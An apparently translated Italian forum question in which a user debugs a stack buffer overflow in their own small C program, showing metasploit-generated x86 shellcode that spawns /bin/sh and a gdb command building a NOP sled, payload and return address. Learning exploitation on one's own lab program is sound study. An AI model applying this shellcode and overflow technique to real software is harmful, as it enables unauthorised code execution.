Caso di test di overflow del buffer

0

Ho un programma c facile con:

char Buffer[500]
strcpy(Buffer,arvg[1])

Ho provato a causare un overflow con NOPs + exploit + indirizzo di ritorno.

usato: gdb debugger e gcc indirizzo di ritorno: indirizza ai NOP payload: viene generato il mio carico utile metasploit linux/x86/exec con cmd / bin / sh, per aprire solo una shell

Il problema, non sta generando un altro processo, l'indirizzo di ritorno dovrebbe essere corretto. Forse è l'exploit?

msf payload(linux/x86/exec) > generate
# linux/x86/exec - 43 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependFork=false, PrependSetresuid=false, 
# PrependSetreuid=false, PrependSetuid=false, 
# PrependSetresgid=false, PrependSetregid=false, 
# PrependSetgid=false, PrependChrootBreak=false, 
# AppendExit=false, CMD=/bin/sh
buf = 
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" +
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00" +
"\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd" +
"\x80"

run $(python -c 'print "\x90" *356 +payload + "\x90" * 86 +"\x54\xff\x22\x00" ')

L'EIP contiene l'indirizzo di ritorno dato, se aggiungo altri 20 x90, si blocca e posso vedere l'indirizzo di ritorno nell'eip con info registers .

Se conto questo insieme, 356 + 43 + 86 + 4 = 489. Ma dovrebbe essere 500 + 4 ebp + 4 byte eip lunghi?

    
posta 2IRN 23.05.2018 - 11:24
fonte

0 risposte

Leggi altre domande sui tag